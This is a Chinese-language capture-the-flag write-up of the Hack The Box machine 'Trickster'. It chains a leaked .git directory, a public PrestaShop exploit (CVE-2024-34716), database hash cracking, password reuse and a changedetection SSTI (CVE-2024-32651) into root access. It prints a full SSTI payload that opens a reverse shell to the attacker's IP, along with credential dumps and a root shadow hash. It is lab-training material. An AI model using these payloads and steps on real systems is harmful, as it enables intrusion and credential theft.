基本信息
- https://app.hackthebox.com/machines/Trickster
- 10.10.11.34

端口扫描
22和80:
1 | nmap -sC -sV -Pn 10.10.11.34 |
80
需要加hosts:
1 | 10.10.11.34 trickster.htb |
一个官网主页,SHOP那里是子域名:

SHOP
添加hosts后访问,在线商城,页面底部信息可以知道使用了prestashop:

目录扫描
常规目录扫描,主站没什么东西,shop发现git泄漏:
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://trickster.htb/ --exclude-length 278 |

git
那就dump下来检查:
- arthaud/git-dumper: A tool to dump a git repository from a website
https://github.com/arthaud/git-dumper
1 | git-dumper http://shop.trickster.htb/.git/ shop_git |
得到admin路径,访问也得到了prestashop版本8.1.5:
1 | admin634ewutrx1jgitlooaj |


prestashop
搜索可以找到相关漏洞:
- CVE-2024-34716 – The Deceptive PNG Trap: Breaking Down the PNG-Driven Chain from XSS to Remote Code Execution on PrestaShop (<=8.1.5) | Ayoub ELMOKHTAR
https://ayoubmokhtar.com/post/png_driven_chain_xss_to_remote_code_execution_prestashop_8.1.5_cve-2024-34716/ - aelmokhtar/CVE-2024-34716
https://github.com/aelmokhtar/CVE-2024-34716
根据实际情况修改代码中的路径端口之类的,以及修改zip文件中的shell php,然后运行exp,等待触发,得到www-data:
1 | python3 exploit.py http://shop.trickster.htb miao@miao.com miao exploit.html |

信息
然后常规翻文件,得到数据库账号密码:
1 | /var/www/prestashop/app/config/parameters.php |
数据库中继续翻信息得到一些hash:
1 | mysql --user=ps_user --password='prest@shop_o' prestashop -e "select email,passwd from ps_employee" |
其中james的hash可以破解出密码:
1 | sudo hashcat -m 3200 hash.txt ~/Tools/dict/rockyou.txt |
user flag
james用户密码复用,ssh登录:

Docker
查看ip发现还有一个docker的172.17.0.1,枚举docker可以发现172.17.0.1的5000端口,转发出来查看:
1 | ssh james@10.10.11.34 -L 5555:172.17.0.2:5000 |
是一个changedetection 0.45.20,james的密码可以登录:

changedetection
搜索可以发现changedetection的漏洞:
- s0ck3t-s3c/CVE-2024-32651-changedetection-RCE: Server-Side Template Injection Exploit
https://github.com/s0ck3t-s3c/CVE-2024-32651-changedetection-RCE
脚本没设置密码选项,根据代码手动利用即可:
添加新更改->edit&watch,监测网址设置成宿主机的,后面控制更改,例如http://172.17.0.1:8000
通知网址设置为get://10.10.14.9,通知正文SSTI Payload
1 | {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.14.9\",4445));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read() }}{% endif %}{% endfor %} |
设置完成后保存,然后到宿主机的我们设置的8000端口监听服务那里,完成任意更改,然后回到检测这里重新检测网站,触发SSTI,得到容器root:



提权信息 & root flag
容器内history可以看到一个疑似密码的,就是宿主机root密码:
1 | #YouC4ntCatchMe# |


shadow
1 | root:$y$j9T$QrqZSRjwrjBfK8HexlK4d/$ng0E/9GWnWgXHLc1TSOBShK3ykz95fGBSVzzw6tiQl2:19968:0:99999:7::: |
参考资料
- arthaud/git-dumper: A tool to dump a git repository from a website
https://github.com/arthaud/git-dumper - CVE-2024-34716 – The Deceptive PNG Trap: Breaking Down the PNG-Driven Chain from XSS to Remote Code Execution on PrestaShop (<=8.1.5) | Ayoub ELMOKHTAR
https://ayoubmokhtar.com/post/png_driven_chain_xss_to_remote_code_execution_prestashop_8.1.5_cve-2024-34716/ - aelmokhtar/CVE-2024-34716
https://github.com/aelmokhtar/CVE-2024-34716 - s0ck3t-s3c/CVE-2024-32651-changedetection-RCE: Server-Side Template Injection Exploit
https://github.com/s0ck3t-s3c/CVE-2024-32651-changedetection-RCE